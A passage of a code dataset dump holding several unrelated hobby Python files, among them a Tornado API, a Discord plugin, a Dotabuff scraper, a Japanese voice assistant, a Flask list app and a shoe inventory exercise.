get(self):\r\n\t\tself.write({'status':'success','name':'test','code':200})\r\n\r\n\r\ndef make_app():\r\n\treturn tornado.web.Application([(r'/web',WebHandler),\r\n\t\t                            (r'/login',LoginHandler),\r\n\t\t                            (r'/address/([0-9]+)',AddressHandler),\r\n\t\t                            (r'/info',InfoHandler),\r\n\t\t                            (r'/test',TestHandler)],debug=True)\r\n\r\n\r\nif __name__=='__main__':\r\n\tapp = make_app()\r\n\t# app.listen(8080)\r\n\thttp_server = tornado.httpserver.HTTPServer(app)\r\n\t# http_server.bind(8080)\r\n\t# http_server.start(2)\r\n\thttp_server.listen(9090)\r\n\ttornado.ioloop.IOLoop.current().start()","repo_name":"cointoken/apis","sub_path":"api/tornado/tornado_api.py","file_name":"tornado_api.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9097822871","text":"import httpx\nimport json, random\nfrom discord.ext import commands\nfrom Plugin import AutomataPlugin\n\nQUOTES_ENDPOINT = \"https://type.fit/api/quotes\"\n\n\nclass WiseQuote(AutomataPlugin):\n    \"\"\"Quotes from wise people\"\"\"\n\n    def __init__(self, manifest, bot):\n        super().__init__(manifest, bot)\n        self.quotes = json.loads(httpx.get(QUOTES_ENDPOINT).text)\n\n    @commands.command()\n    async def wisequote(self, ctx):\n        \"\"\"Replies with a quote from a wise person\"\"\"\n\n        quote = random.choice(self.quotes)\n        response = '\"{text}\" -**{author}**'\n        await ctx.send(\n            response.format(\n                text=quote[\"text\"],\n                author=quote[\"author\"]\n                if \"author\" in quote.keys() and quote[\"author\"] != None\n                else \"Unknown\",\n            )\n        )\n","repo_name":"MUNComputerScienceSociety/Automata","sub_path":"plugins/WiseQuote/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"27866509611","text":"import fastapi\nfrom models import model\nimport torch\nfrom utils import request\nfrom constant import labels\n\n# API Router\nrouter = fastapi.APIRouter()\n# Init Pytorch Model\ntmodel = model.Model()\n# Load weight\ntmodel.load('./models/weights/model.pth')\n\n# prediction function (usecase)\ndef ModelPrediction(data):\n    x = torch.FloatTensor([[data.a, data.b, data.c, data.d]])\n    pred = tmodel(x)\n    pred = int(torch.argmax(pred[0]))\n    return labels.classNameCat[pred]\n\n# pytorch prediction api\n@router.post('/predict')\nasync def prediction(data: request.Data):\n    pred = ModelPrediction(data)\n    return {\n        'Category': pred\n    }\n","repo_name":"tkthanatorn/fastapi-iris_flower-tf-torch","sub_path":"routes/torch.py","file_name":"torch.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41429148102","text":"from requests_html import HTMLSession\nfrom bs4 import BeautifulSoup\nimport logging\nimport cv2 as cv\nimport numpy as np\nimport urllib.request\n\n\nclass DotaBuffTools:\n    dotabuff_url = 'https://www.dotabuff.com'\n\n    @staticmethod\n    def get_dota2_item_data(url=\"https://www.dotabuff.com/items\"):\n        dotabuff_url = \"https://\" + url.split('/')[2]\n        session = HTMLSession()\n        response = session.get(url)\n        soup = BeautifulSoup(response.html.html, 'html.parser')\n        item_dict = {}\n\n        tbody = soup.find('tbody')\n        if tbody:\n            for tr in tbody.find_all('tr'):\n                td = tr.find('td', class_='cell-xlarge')\n                if td:\n                    a = td.find('a')\n                    if a and 'href' in a.attrs:\n                        item_id = a['href']\n                        image_url = dotabuff_url + tr.find('td', class_='cell-icon').img['src']\n                        image = get_image_from_url(image_url).tolist()\n                        item_info = {\n                            \"name\": a.text.strip(),\n                            \"image_url\": image_url,\n                            \"image\": image\n                        }\n                        item_dict[item_id] = item_info\n        logging.log(logging.INFO, \"Item base downloaded\")\n        return item_dict\n\n    @staticmethod\n    def get_dota2_hero_data(url=\"https://www.dotabuff.com/heroes\"):\n        dotabuff_url = \"https://\" + url.split('/')[2]\n        session = HTMLSession()\n        response = session.get(url)\n        soup = BeautifulSoup(response.html.html, 'html.parser')\n        hero_dict = {}\n\n        hero_grid = soup.find('div', class_='hero-grid')\n        if hero_grid:\n            for a in hero_grid.find_all('a'):\n                if 'href' in a.attrs:\n                    hero_id = a['href']\n                    tooltip_response = session.get(dotabuff_url + f\"{hero_id}/tooltip\")\n                    soup = BeautifulSoup(tooltip_response.html.html, 'html.parser')\n                    image_url = dotabuff_url + soup.a.img['src']\n                    main_attribute = soup.find(class_=\"tooltip-header\").find(class_=\"subheader\").text.split(\" Hero\")[0].strip()\n                    image = get_image_from_url(image_url).tolist()\n                    hero_info = {\n                        \"name\": a.find(class_=\"name\").text.strip(),\n                        \"image_url\": image_url,\n                        \"image\": image,\n                        \"main_attribute\": main_attribute\n                    }\n                    hero_dict[hero_id] = hero_info\n        logging.log(logging.INFO, \"Hero base downloaded\")\n        return hero_dict\n\n    @staticmethod\n    def get_hero_recent_match_data(limit, hero, game_mode=\"\", lobby=\"\", region=\"\", url=\"https://www.dotabuff.com/matches\"):\n        session = HTMLSession()\n        response = session.get(url, params={\"hero\":hero, \"game_mode\":game_mode, \"lobby\":lobby, \"region\":region})\n\n        soup = BeautifulSoup(response.html.html, \"html.parser\")\n        matches = {}\n\n        tbody = soup.find(\"tbody\")\n        if tbody:\n            for tr in zip(range(limit), tbody.find_all(\"tr\")):\n                tr = tr[1]\n                match_data = {}\n\n                match_id = tr.find(\"td\").find(\"a\")\n                if match_id and \"href\" in match_id.attrs:\n                    match_id = match_id[\"href\"]\n                else:\n                    continue\n\n                game_mode_cell = tr.find_all(\"td\")[1]\n                mode = game_mode.title() if game_mode else game_mode_cell.text.strip()\n                if lobby:\n                    lobby = lobby.title()\n                else:\n                    if 'Normal Matchmaking' in mode:\n                        lobby = 'Normal Matchmaking'\n                    elif 'Ranked Matchmaking' in mode:\n                        lobby = 'Ranked Matchmaking'\n                    elif 'Battle Cup' in mode:\n                        lobby = 'Battle Cup'\n                    elif 'Unknown' in mode:\n                        lobby = 'Unknown'\n                    elif 'Bot' in mode:\n                        lobby = 'Bot'\n                mode = mode.replace('Normal Matchmaking', '')\n                mode = mode.replace('Ranked Matchmaking', '')\n                mode = mode.replace('Battle Cup', '')\n                mode = mode.replace('Unknown', '')\n                mode = mode.replace('Bot', '')\n\n                result = tr.find_all(\"td\")[2].find(\"a\").text.strip()\n                region = region if region else tr.find_all(\"td\")[2].find(\"div\").text.strip()\n                duration = tr.find_all(\"td\")[3].text.strip()\n\n                itembuild_raw = tr.find_all(\"td\")[4].find_all(\"a\")\n                itembuild = [item[\"href\"] for item in itembuild_raw]\n\n                heroes_raw = tr.find_all(\"td\")[5].find_all(\"a\")\n                radiant_heroes = [hero[\"href\"] for hero in heroes_raw[:5]]\n                dire_heroes = [hero[\"href\"] for hero in heroes_raw[5:]]\n\n                match_data[\"hero\"] = \"/heroes/\" + hero\n                match_data[\"game_mode\"] = {\"mode\": mode, \"lobby\": lobby}\n                match_data[\"result\"] = result\n                match_data[\"region\"] = region\n                match_data[\"duration\"] = duration\n                match_data[\"itembuild\"] = itembuild\n                match_data[\"teams\"] = {\"Radiant\": radiant_heroes, \"Dire\": dire_heroes}\n\n                matches[match_id] = match_data\n\n        return matches\n\n\ndef get_image_from_url(image_url):\n    request = urllib.request.Request(image_url, headers={'User-agent': 'DOTA2 Telegram Quiz Bot'})\n    response = urllib.request.urlopen(request)\n    arr = np.asarray(bytearray(response.read()), dtype=np.uint8)\n    image = cv.imdecode(arr, -1)\n    return image","repo_name":"ivn-ln/DOTA2QuizTGBot","sub_path":"dotabuffpy.py","file_name":"dotabuffpy.py","file_ext":"py","file_size_in_byte":5752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19464999473","text":"import subprocess\nimport random\nimport datetime\nimport time\nimport os\nfrom enum import Enum, auto\nimport requestToVoiceText as requestToVoiceText\nfrom weather import dbAccess as dbAccess\nimport nanakapedia.WikipediaAbstractDbAccess as WikipediaDB\nimport State as State\nimport chat.requestToChaplus as requestToChaplus\n\nvoiceDataDir = \"../voice/{}.wav\"\n\"\"\"音声ファイルの格納ディレクトリ\"\"\"\n\n\"\"\"状態ごとの音声ファイル一覧\"\"\"\nbad_weather = ['雨', '雪']\n\"\"\"悪い天気を表すテキスト\"\"\"\n\n\nclass HasKnown(Enum):\n    \"\"\"知っているか否かを表すクラス\n    \"\"\"\n    true = auto()\n    false = auto()\n    unknown = auto()\n\n\ndef play_voice_file(voice_file_path: str) -> None:\n    \"\"\"音声ファイルを再生する。\n\n    Args:\n        voice_file_path (str): 再生する音声ファイルのパス\n\n    Returns:\n        None\n\n    \"\"\"\n\n    # 音声ファイルが存在しない場合は、代わりにエラー音声を出力するよう設定する\n    if not os.path.exists(voice_file_path):\n        voice_file_path = get_voice_file_path(\"voice_file_does_not_exist\")\n\n    wait_seconds_after_play = 0.5\n    \"\"\"音声ファイル再生後に待つ時間。音声ファイルを連続して再生すると不自然につながってしまうので間を置く\"\"\"\n    command = \"aplay \" + voice_file_path\n    subprocess.call(command, shell=True)\n    time.sleep(wait_seconds_after_play)\n    return\n\n\ndef get_voice_file_path(state: str) -> str:\n    \"\"\"状態に対応する音声ファイルのパスを返す。\n\n    Args:\n        state: 状態\n\n    Returns:\n        str: 状態に対応する音声ファイルのパス\n\n    \"\"\"\n    return voiceDataDir.format(random.choice(State.State.STATES[state][\"voice_data_file\"]))\n\n\nclass PlayResponseVoice:\n    def __init__(self, input_message: str):\n        self.input_message = input_message\n        self.state = State.State().get_state(self.input_message)\n        self.voice_file = get_voice_file_path(\"unknown\")\n        \"\"\"再生する音声ファイルのパス\"\"\"\n        print(\"state: \" + self.state)\n\n    def play_response_voice(self) -> None:\n        \"\"\"入力メッセージへの応答音声を設定する。\n\n        Returns:\n            None\n        \"\"\"\n\n        if self.state == \"unknown\":\n            chaplus = requestToChaplus.Chaplus()\n            chaplus.set_utterance(self.input_message)\n            best_response = chaplus.request_to_chaplus().get_best_response()\n            print(\"best_response: \" + best_response)\n            if best_response != \"\":\n                self.state = \"chat_response\"\n                requestToVoiceText.VoiceText().set_text(best_response).request_to_voice_text(\n                    get_voice_file_path(\"chat_response\"))\n                self.voice_file = get_voice_file_path(\"chat_response\")\n            play_voice_file(self.voice_file)\n            return self\n\n        # 天気予報を読み上げる音声ファイルを取得\n        if self.state == \"weather_today\":\n            if self.get_weather_forecast_voice(datetime.datetime.now()):\n                self.voice_file = get_voice_file_path(\"weather\")\n            else:\n                self.voice_file = get_voice_file_path(\"failedToGetWeatherData\")\n        elif self.state == \"weather_tomorrow\":\n            if self.get_weather_forecast_voice(datetime.datetime.now() + datetime.timedelta(days=1)):\n                self.voice_file = get_voice_file_path(\"weather\")\n            else:\n                self.voice_file = get_voice_file_path(\"failedToGetWeatherData\")\n\n        # 現在の状態に対応する音声ファイルを取得\n        elif self.state in State.State.STATES.keys():\n            # リストからランダムに音声を指定\n            self.voice_file = get_voice_file_path(self.state)\n\n        # 音声を再生\n        play_voice_file(self.voice_file)\n\n        # 悪い予報のときは外出時に傘を持つよう警告する\n        if self.state == \"go_out\":\n            self.play_response_voice_in_bad_weather()\n\n        return self\n\n    def get_weather_forecast_voice(self, date: datetime.datetime) -> bool:\n        \"\"\"天気予報を読み上げる音声を取得する。\n\n        Args:\n            date (datetime.datetime): データベースから天気予報データを取得する日時\n\n        Return:\n            (bool): 音声取得に成功したか否か。\n                        True: 成功\n                        False: 失敗\n        \"\"\"\n\n        # データベースから天気予報データを取得する\n        weather_forecast_data = dbAccess.get_weather_forecast_from_db(date)\n\n        # 天気予報データを取得できなかった場合は何もしない\n        if not weather_forecast_data:\n            return False\n\n        # 日付テキストを作成\n        weather_voice_base_string = \"{}月{}日の天気は\".format(date.today().month, date.today().day)\n        # 引数の日付が実行時の当日にあたる場合\n        if date.date() == datetime.datetime.now().date():\n            weather_voice_base_string = \"今日の天気は\"\n        # 引数の日付が実行時の翌日にあたる場合\n        elif date.date() == (datetime.datetime.now() + datetime.timedelta(days=1)).date():\n            weather_voice_base_string = \"明日の天気は\"\n\n        # 天気テキストを作成\n        weather_voice_base_string += \"{}です。\".format(weather_forecast_data['telop'])\n        # 温度データが存在する場合は温度データテキストを作成\n        if weather_forecast_data['temp_max'] is not None and weather_forecast_data['temp_min'] is not None:\n            weather_voice_base_string += \"最高気温は{}度、最低気温は{}度です。\".format(weather_forecast_data['temp_max'], weather_forecast_data['temp_min'])\n\n        # 天気予報データを読み上げるボイスを合成\n        requestToVoiceText.VoiceText().set_text(weather_voice_base_string).request_to_voice_text(\n            get_voice_file_path(\"weather\"))\n\n        return True\n\n    def play_response_voice_in_bad_weather(self) -> None:\n        # 天気予報データを取得\n        weather_forecast_data = dbAccess.get_weather_forecast_from_db(datetime.datetime.now())\n        # 天気予報データが空のときは何もしない\n        if len(weather_forecast_data) == 0:\n            return self\n        # 悪天候の場合は音声ファイルを再生\n        is_bad_weather = False\n        for weather in bad_weather:\n            if weather in weather_forecast_data['telop']:\n                is_bad_weather = True\n        if is_bad_weather:\n            play_voice_file(get_voice_file_path(\"badWeather\"))\n\n        return self\n\n\nclass Nanakapedia:\n    \"\"\"七香ぺでぃあの音声出力を扱うクラス\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"要約データの初期設定\n        \"\"\"\n        self.abstract = WikipediaDB.WikipediaAbstract().get_random_abstract_from_db()\n        self.has_known_the_title = HasKnown.false\n\n    def get_new_abstract(self):\n        \"\"\"新たな要約データを取得する\n\n        Returns:\n            Nanakapedia\n        \"\"\"\n        self.abstract: dict = WikipediaDB.WikipediaAbstract().get_random_abstract_from_db()\n        self.has_known_the_title: bool = HasKnown.false\n        return self\n\n    def set_has_known_the_title(self, state: str):\n        \"\"\"タイトルを知っているか否かを設定\n\n        Args:\n            state (str): 状態名\n\n        Returns:\n            Nanakapedia\n        \"\"\"\n\n        if \"KnowTheWikipediaTitle\" == state:\n            self.has_known_the_title = HasKnown.true\n        elif \"DoNotKnowTheWikipediaTitle\" == state:\n            self.has_known_the_title = HasKnown.false\n        else:\n            self.has_known_the_title = HasKnown.unknown\n        return self\n\n    def ask_does_know_the_title(self):\n        \"\"\"タイトルを知っているか尋ねる\n        \"\"\"\n        play_voice_file(get_voice_file_path(\"askHasKnownTheWikipediaTitle\"))\n        wikipedia_title_voice_string = self.abstract['title'] + \"って知ってますか？\"\n        \"\"\"タイトルを読み上げるテキスト\"\"\"\n        # テキストから音声を合成\n        requestToVoiceText.VoiceText().set_text(wikipedia_title_voice_string).request_to_voice_text(\n            get_voice_file_path(\"WikipediaTitle\"))\n        # タイトルを読み上げる音声を再生\n        play_voice_file(get_voice_file_path(\"WikipediaTitle\"))\n\n    def play_the_ask_result(self):\n        \"\"\"タイトルを知っているか尋ねた結果に応答する\n        \"\"\"\n        # タイトルを知っている場合\n        if HasKnown.true == self.has_known_the_title:\n            play_voice_file(get_voice_file_path(\"KnowTheWikipediaTitle\"))\n        # タイトルを知らない場合\n        elif HasKnown.false == self.has_known_the_title:\n            wikipedia_abstract_voice_string = self.abstract['title'] + \"とは、\" + self.abstract['abstract'] + \"だそうです\"\n            \"\"\"要約文を読み上げるテキスト\"\"\"\n            # テキストから音声を合成\n            requestToVoiceText.VoiceText().set_text(wikipedia_abstract_voice_string).request_to_voice_text(\n                get_voice_file_path(\"WikipediaAbstract\"))\n            # 要約文を読み上げる音声を再生\n            play_voice_file(get_voice_file_path(\"WikipediaAbstract\"))\n            play_voice_file(get_voice_file_path(\"DoNotKnowTheWikipediaTitle\"))\n        # 判定できない場合\n        else:\n            play_voice_file(get_voice_file_path(\"unknown\"))\n\n\ndef test():\n    # 存在しない音声ファイルを再生しようとした場合は、エラー音声を再生する\n    play_voice_file(voiceDataDir.format(\"fuga\"))\n\n    np = Nanakapedia()\n    # Wikipedia要約データのタイトルを知らない場合\n    np.ask_does_know_the_title()\n    np.set_has_known_the_title(\"DoNotKnowTheWikipediaTitle\")\n    np.play_the_ask_result()\n\n    # Wikipedia要約データのタイトルを知っている場合\n    np.ask_does_know_the_title()\n    np.set_has_known_the_title(\"KnowTheWikipediaTitle\")\n    np.play_the_ask_result()\n\n\nif __name__ == '__main__':\n    # test()\n    PlayResponseVoice(\"おはよう\").play_response_voice()\n","repo_name":"NiinumaToshitaka/oshaberiNanakachan","sub_path":"src/playVoice.py","file_name":"playVoice.py","file_ext":"py","file_size_in_byte":10270,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"46088475550","text":"import cv2\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\nimg=cv2.imread('roman-logo.png')\n\ngray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\nfaces=face_cascade.detectMultiScale(gray,1.3,4)\n\nfor (x,y,w,h) in faces:\n  cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)\n  crop_face=img[y:y+h,x:x+w]\n  cv2.imwrite(str(w)+str(h)+'-face.png',crop_face)\n\ncv2.imshow('img',img)\ncv2.imshow(\"imgcropped\",crop_face)\ncv2.waitKey()","repo_name":"abhishek2212/python_mini_projects","sub_path":"facedetect.py","file_name":"facedetect.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"9838199641","text":"from flask import request, url_for, redirect, flash, render_template\nfrom flask_login import current_user, login_required, login_user, logout_user\n\nfrom listweb import app, db\nfrom listweb.models import User, Movie, Book, Todo\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route('/watchlist', methods=['GET', 'POST'])\ndef watchlist():\n    if request.method == 'POST':  # 判断是否是 POST 请求\n        # 判断是否已登录\n        if not current_user.is_authenticated:\n            redirect(url_for('watchlist'))\n        # 获取表单数据\n        title = request.form.get('title')  # 传入表单对应输入字段的name值\n        if (not title) or (len(title) > 60):\n            flash('Invalid input.')  # 显示错误提示\n            return redirect(url_for('watchlist'))  # 重定向回主页\n        # 保存表单数据到数据库\n        movie = Movie(title=title)\n        db.session.add(movie)\n        db.session.commit()\n        flash('Item created.')  # 显示成功创建的提示\n        return redirect(url_for('watchlist'))  # 重定向回主页\n    movies = Movie.query.all()\n    return render_template('watchlist.html', movies=movies)\n\n\n@app.route('/readlist', methods=['GET', 'POST'])\ndef readlist():\n    if request.method == 'POST':  # 判断是否是 POST 请求\n        # 判断是否已登录\n        if not current_user.is_authenticated:\n            redirect(url_for('readlist'))\n        # 获取表单数据\n        title = request.form.get('title')  # 传入表单对应输入字段的name值\n        if (not title) or (len(title) > 60):\n            flash('Invalid input.')  # 显示错误提示\n            return redirect(url_for('readlist'))  # 重定向回主页\n        # 保存表单数据到数据库\n        book = Book(title=title)\n        db.session.add(book)\n        db.session.commit()\n        flash('Item created.')  # 显示成功创建的提示\n        return redirect(url_for('readlist'))  # 重定向回主页\n    books = Book.query.all()\n    return render_template('readlist.html', books=books)\n\n\n@app.route('/todolist', methods=['GET', 'POST'])\n@login_required\ndef todolist():\n    if request.method == 'POST':  # 判断是否是 POST 请求\n        # 判断是否已登录\n        if not current_user.is_authenticated:\n            redirect(url_for('todolist'))\n        # 获取表单数据\n        title = request.form.get('title')  # 传入表单对应输入字段的name值\n        ddl = request.form.get('ddl')\n        if (not title or len(title) > 128) or (not ddl or len(ddl) > 128):\n            flash('Invalid input.')\n            return redirect(url_for('todolist'))  # 重定向回主页\n        # 保存表单数据到数据库\n        todo = Todo(title=title, ddl=ddl)\n        db.session.add(todo)\n        db.session.commit()\n        flash('Item created.')  # 显示成功创建的提示\n        return redirect(url_for('todolist'))  # 重定向回主页\n    todos = Todo.query.all()\n    return render_template('todolist.html', todos=todos)\n\n\n@app.route('/movie/edit/<int:movie_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_movies(movie_id):\n    movie = Movie.query.get_or_404(movie_id)\n    if request.method == 'POST':  # 处理编辑表单的提交请求\n        title = request.form['title']\n        if not title or len(title) > 60:\n            flash('Invalid input.')\n            return redirect(url_for('edit_movies', movie_id=movie_id))\n        # 重定向回对应的编辑页面\n        movie.title = title  # 更新标题\n        db.session.commit()  # 提交数据库会话\n        flash('Item updated.')\n        return redirect(url_for('watchlist'))  # 重定向回主页\n    return render_template('edit/edit_movies.html', movie=movie)  # 传入被编辑的电影记录\n\n\n@app.route('/book/edit/<int:book_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_books(book_id):\n    book = Book.query.get_or_404(book_id)\n    if request.method == 'POST':  # 处理编辑表单的提交请求\n        title = request.form['title']\n        if not title or len(title) > 60:\n            flash('Invalid input.')\n            return redirect(url_for('edit_books', book_id=book_id))\n        # 重定向回对应的编辑页面\n        book.title = title  # 更新标题\n        db.session.commit()  # 提交数据库会话\n        flash('Item updated.')\n        return redirect(url_for('readlist'))  # 重定向回主页\n    return render_template('edit/edit_books.html', book=book)  # 传入被编辑的书籍记录\n\n\n@app.route('/todo/edit/<int:todo_id>', methods=['GET', 'POST'])\n@login_required\ndef edit_todos(todo_id):\n    todo = Todo.query.get_or_404(todo_id)\n    if request.method == 'POST':  # 处理编辑表单的提交请求\n        title = request.form['title']\n        ddl = request.form['ddl']\n        if (not title or len(title) > 60) or (not ddl or len(ddl) > 128):\n            flash('Invalid input.')\n            return redirect(url_for('edit_todos', todo_id=todo_id))\n        # 重定向回对应的编辑页面\n        todo.title = title  # 更新标题\n        todo.ddl = ddl\n        db.session.commit()  # 提交数据库会话\n        flash('Item updated.')\n        return redirect(url_for('todolist'))  # 重定向回主页\n    return render_template('edit/edit_todos.html', todo=todo)  # 传入被编辑的书籍记录\n\n\n@app.route('/movie/delete/<int:movie_id>', methods=['POST'])  # 限定只接受 POST 请求\n@login_required\ndef delete_movie(movie_id):\n    movie = Movie.query.get_or_404(movie_id)  # 获取电影记录\n    db.session.delete(movie)  # 删除对应的记录\n    db.session.commit()  # 提交数据库会话\n    flash('Item deleted.')\n    return redirect(url_for('watchlist'))  # 重定向回主页\n\n\n@app.route('/book/delete/<int:book_id>', methods=['POST'])  # 限定只接受 POST 请求\n@login_required\ndef delete_book(book_id):\n    book = Book.query.get_or_404(book_id)  # 获取book记录\n    db.session.delete(book)  # 删除对应的记录\n    db.session.commit()  # 提交数据库会话\n    flash('Item deleted.')\n    return redirect(url_for('readlist'))  # 重定向回主页\n\n\n@app.route('/todo/delete/<int:todo_id>', methods=['POST'])  # 限定只接受 POST 请求\n@login_required\ndef delete_todo(todo_id):\n    todo = Todo.query.get_or_404(todo_id)  # 获取todo记录\n    db.session.delete(todo)  # 删除对应的记录\n    db.session.commit()  # 提交数据库会话\n    flash('Item deleted.')\n    return redirect(url_for('todolist'))  # 重定向回主页\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n\n        if not username or not password:\n            flash('Invalid input.')\n            return redirect(url_for('login'))\n\n        user = User.query.first()\n        # 验证用户名和密码是否一致\n        if username == user.username and user.validate_password(password):\n            login_user(user)\n            flash(\"Successfully login!\")\n            return redirect(url_for('index'))\n        else:\n            flash(\"Invalid username or password.\")  # 若验证失败显示错误信息\n            return redirect(url_for('login'))\n\n    return render_template('login.html')\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n    logout_user()\n    flash('Goodbye!')\n    return redirect(url_for('index'))\n\n\n@app.route('/settings', methods=['GET', 'POST'])\n@login_required\ndef settings():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n        if (not username or len(username) > 20) or (not password or len(password) > 128):\n            flash('Invalid input.')\n            return redirect(url_for('settings'))\n        # current_user.username = name\n        # current_user 会返回当前登录用户的数据库记录对象\n        # 等同于下面的用法\n        user = User.query.first()\n        user.username = username\n        user.set_password(password)\n        db.session.commit()\n        flash('Settings updated.')\n        return redirect(url_for('index'))\n\n    return render_template('settings.html')\n\n\n","repo_name":"zhuangzhiyong123/listweb","sub_path":"listweb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10031476169","text":"# Import tabulate\nfrom tabulate import tabulate\n\n# Create empty lists\nlist_of_data = []\nlist_of_data_with_value = []\nheader_list = []\nobjects_list = []\n\n# Create class Shoe\nclass Shoe:\n\n    # Initialise objects\n    def __init__(self, country, code, product, cost, quantity):\n        self.country = country\n        self.code = code\n        self.product = product\n        self.cost = cost\n        self.quantity = quantity\n\n    # Create a method to  read data from the text file\n    @staticmethod\n    def read_data():\n        with open(\"inventory.txt\", \"r+\") as inventory_file:\n            try:\n                for line in inventory_file:\n                    line = line.strip()\n                    line = line.split(\",\")\n                    list_of_data.append(line)\n            except:\n                print(\"There was an error, please try again\")\n\n    # Create method to print all the objects\n    def print_all(self):\n        print(\"\\n\")\n        print(self.country, self.code, self.product, self.cost, self.quantity)\n\n    # Create method to print the value per item \n    def value_per_item():\n        Shoe.read_data()\n        for item_quantity in list_of_data:\n            if item_quantity[4] == \"Quantity\":\n                new_header = \"Value\"\n                list_line = item_quantity[0], item_quantity[1], item_quantity[2], item_quantity[3], item_quantity[4], new_header\n                header_list.append(list_line)\n            else:    \n                quantity_int = item_quantity[4]\n                value_item = int(quantity_int) * float(item_quantity[3])\n                list_line = item_quantity[0], item_quantity[1], item_quantity[2], \"R\" + str(item_quantity[3]), item_quantity[4], \"R\" + str(value_item)\n                list_of_data_with_value.append(list_line)\n\n# Create 5 objects\nobj_shoe1 = Shoe(\"Italy\",\"ITA1234\",\"Ace Marks\",\"1200\",\"12\")\nobj_shoe2 = Shoe(\"Italy\",\"ITA2234\",\"Antonio Meccariello\",\"4000\",\"20\")\nobj_shoe3 = Shoe(\"Italy\",\"ITA3334\",\"Paolo Scafora\",\"2300\",\"13\")\nobj_shoe4 = Shoe(\"Italy\",\"ITA4434\",\"Aurélien\",\"3200\",\"5\")\nobj_shoe5 = Shoe(\"Italy\",\"ITA3455\",\"Santoni\",\"1100\",\"3\")       \n\nobjects_list = obj_shoe1,obj_shoe2,obj_shoe3,obj_shoe4,obj_shoe5\n\n# Menu to select logic\nmenu = input(\"\\nPlease enter what you would like to do: \\nP\\t\\tWill print all information\\nF\\t\\tWill find items by code\\nLQ\\t\\tWill restock the lowest item\\nHQ\\t\\tWill put the highest stocked item on sale\\nV\\t\\tWill print items with the value added\\nEnter Here: \").lower()\n\n# Print all the objects\nif menu == \"p\":\n    Shoe.read_data()\n    for items in list_of_data:\n        one_instance = Shoe(items[0], items[1], items[2], items[3], items[4])\n        Shoe.print_all(one_instance)\n    Shoe.print_all(obj_shoe1)\n    Shoe.print_all(obj_shoe2)\n    Shoe.print_all(obj_shoe3)\n    Shoe.print_all(obj_shoe4)\n    Shoe.print_all(obj_shoe5)\n\n# search text file for object using a code\nelif menu == \"f\":\n    look_for = input(\"Please enter the code of the item that you are looking for: \")\n    Shoe.read_data()\n    for items in list_of_data:\n        if look_for == items[1]:\n            find_instance = Shoe(items[0], items[1], items[2], items[3], items[4])\n    Shoe.print_all(find_instance)\n\n# Get the lowest item and restock it\nelif menu == \"lq\":\n    quantity_list = []\n    Shoe.read_data()\n    for quantity_item in list_of_data:\n        try:\n            quantity_list.append(int(quantity_item[4]))\n        except:\n            continue\n    quantity_list.sort()\n\n    quantity_number = str(quantity_list[0])\n\n    for quantity_inspector in list_of_data:\n        try:\n            if quantity_inspector[4] == quantity_number:\n                instance_lowest_quantity = Shoe(quantity_inspector[0], quantity_inspector[1], quantity_inspector[2],quantity_inspector[3], quantity_inspector[4])\n                Shoe.print_all(instance_lowest_quantity)\n                print(\"This item will be restocked by 5 units\")\n                quantity_inspector[4] = int(quantity_inspector[4]) + 5\n                instance_lowest_quantity = Shoe(quantity_inspector[0], quantity_inspector[1], quantity_inspector[2],quantity_inspector[3], str(quantity_inspector[4]))\n                Shoe.print_all(instance_lowest_quantity)\n        except:\n            continue\n\n# Get the highest item and put it up for sale\nelif menu == \"hq\":\n\n    Shoe.read_data()\n    quantity_list_highest = []\n    for quantity in list_of_data:\n        try:\n            quantity_list_highest.append(int(quantity[4]))\n        except:\n            continue\n    quantity_list_highest.sort(reverse=True)\n\n    quantity_number_highest = str(quantity_list_highest[0])\n\n    for item_quantity_highest in list_of_data:\n        try:\n            if item_quantity_highest[4] == quantity_number_highest:\n                highest_item = Shoe(item_quantity_highest[0], item_quantity_highest[1], item_quantity_highest[2],item_quantity_highest[3], item_quantity_highest[4])\n                print(\"This item will be put on sale\")\n                Shoe.print_all(highest_item)\n        except:\n            continue\n\n# Print the value in a table form\nelif menu == \"v\":\n    Shoe.value_per_item()\n    header_for_table = header_list[0][0],header_list[0][1],header_list[0][2],header_list[0][3],header_list[0][4],header_list[0][5]\n    print('\\n' + tabulate(list_of_data_with_value,header_for_table))\n\n","repo_name":"adamkraftk/Python-OOP-Practice","sub_path":"inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36301704099","text":"import string\nimport sys\n\n\ndef puzzle(ds, b):\n    v = {c: i for i, c in enumerate(string.printable[:36])}\n    return sum(v[d] * b**e for e, d in enumerate(ds[::-1]))\n\n\nif __name__ == '__main__':\n    print(puzzle(sys.argv[1], int(sys.argv[2])))","repo_name":"AwesomeZaidi/Problem-Solving","sub_path":"CodingBat/Python/Arrays/Hard/square_up_alan.py","file_name":"square_up_alan.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
